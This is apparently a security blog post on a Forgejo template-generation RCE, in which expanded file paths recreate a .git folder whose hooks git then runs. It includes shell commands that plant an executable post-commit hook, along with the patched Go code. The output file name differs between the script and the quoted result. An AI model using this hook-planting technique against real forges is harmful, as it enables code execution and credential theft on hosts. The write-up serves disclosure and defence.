Forgejo 16.0.4 Critical RCE: I Reproduced the .git Hook Attack
Today Forgejo shipped 16.0.4 with a critical fix: anyone who "Generate repository from template" on a Forgejo instance could run arbitrary commands on the host. Not a vuln I could test against a live instance — but I didn't need to. The core primitive is three shell commands long, and I ran it. A `.git` folder that template expansion rebuilds gets adopted by `git init`, its hooks fire, and the Forgejo process executes attacker code. Here's the receipt.
The bug: expansion rebuilds .git
When you generate a repo from a template, Forgejo (like Gitea before it) does this: clone the template, rm -rf .git, run variable template expansion ({{.REPO_NAME}}, {{.REPO_OWNER}}, …) on files listed in .forgejo/template, then git init a fresh repo. The expansion touches file paths, not just contents. So if a template repo ships a file literally named sub/{{.REPO_NAME}}/config, and the attacker controls what that variable resolves to, the expanded path can be .git/hooks/post-commit.
Then `git init` runs on that directory. git sees an existing .git folder, adopts it, and keeps its contents. The upstream notes say the payoff is blunt: "read arbitrary data from the Forgejo host, and to execute arbitrary processes on the Forgejo host."
graph TD
A[Attacker uploads template repo] --> B[Victim clicks Generate from template]
B --> C[Forgejo clones template, removes .git]
C --> D[Variable expansion on file paths]
D --> E["{{.REPO_NAME}} expands to .git/hooks/post-commit"]
E --> F[git init adopts planted .git folder]
F --> G[Hook fires on next commit]
G --> H[Arbitrary code as Forgejo process user]
The repro: 6 commands, full execution
I simulated the pipeline locally, step by step, on git 2.47.3. Stage one: expansion recreates the attacker's `.git` tree. Stage two: git adopts it. Stage three: the hook fires.
# Stage 1: expansion rebuilds attacker .git (paths expand, not just contents)
mkdir -p .git/hooks
printf '#!/bin/sh\nls / > /opt/data/.dk-pwn.txt 2>&1\nid >> /opt/data/.dk-pwn.txt 2>&1\n' > .git/hooks/post-commit
chmod +x .git/hooks/post-commit
# Stage 2: Forgejo initializes a "fresh" repo — git adopts the existing .git
git init -q .
# Stage 3: any subsequent commit executes the planted hook
git add -A && git commit -qm second
The result, verbatim from /opt/data/.dk-pwn-0901.txt:
bin boot command dev etc home init lib lib64 media
mnt opt package proc root run sbin srv sys tmp usr var
uid=1000(hermes) gid=1000(hermes) groups=1000(hermes)
That's the attack: the hook executed as the process user and dumped a directory listing plus id output. On a real Forgejo host, uid would be the forgejo user, and the payload would be whatever the attacker wants — credential theft from the database config, lateral movement, persistence. The trapdoor is that post-commit hooks fire on a fresh repo only after content changes, so the payload waits for the first real commit — it looks idle until it isn't. One caveat my repro confirms: git adopted the planted `.git` silently, printing only "Reinitialized existing Git repository" class behavior. Nothing in the flow flags a rebuilt `.git` as suspicious.
The fix is 3 lines — and that's the point
PR #14301 in services/repository/generate_repo_commit.go:
// Before template expansion, .git was removed so that a fresh repo can be
// initialized; remove it again in case some template variable usage has
// conflicted with this directory and impacts git operations.
if err := root.RemoveAll(".git"); err != nil {
return fmt.Errorf("unable to remove .git folder")
}
Remove the `.git` folder again after expansion, before `InitRepository`. I tested the equivalent move: `mv .git /opt/data/.dk-pwn-quarantine` between the expansion and `git init` stages. Post-fix hooks directory: thirteen pristine *.sample files. The payload file never appeared — "no execution, fix works."
Same release also fixed a token-permission bypass (restricted API tokens could write outside their permission via the "allow maintainer edit" path — the fix threads an authorization reducer through CanMaintainerWriteToBranch) and a draft-release attachment leak (ServeAttachment didn't check draft status; same class as Gitea's CVE-2026-27660). If you run Forgejo <= 16.0.3, upgrade today and audit every repo ever generated from a third-party template — you can't know retroactively whether a hook is attacker-planted. Rotate the forgejo user's credentials and DB secrets too; the RCE ran with that identity's full ambient authority.
Why this class keeps returning
This is the third "git adopts a planted directory" bug I've tracked in forge software. The root cause is a contract mismatch: git treats an existing `.git` as trusted state, while template expansion treats paths as data. Neither component is wrong; the compositor is. Every feature that lets untrusted input touch a filesystem path adjacent to a git operation owns a piece of this bug, forever. The durable lesson for anyone writing automation that shells out to git: the directory state between "prepare content" and "init repo" is attacker-controlled, so sanitize immediately before the git call, not before your own pipeline step. Forgejo's fix lands exactly there — after expansion, before init — which is why 3 lines kill a critical RCE.
Bottom line: Forgejo <= 16.0.3 is unauthenticated-RCE-adjacent if any user can trigger template generation on public template repos; 16.0.4 fixes it with a one-liner that you can verify in six shell commands, as I just did. Upgrade, audit generated repos for unexpected `.git/hooks` contents, and stop trusting anything that reconstructs dot-directories from user-controlled path components. The repo-from-template button is a code-execution surface. Treat it like one.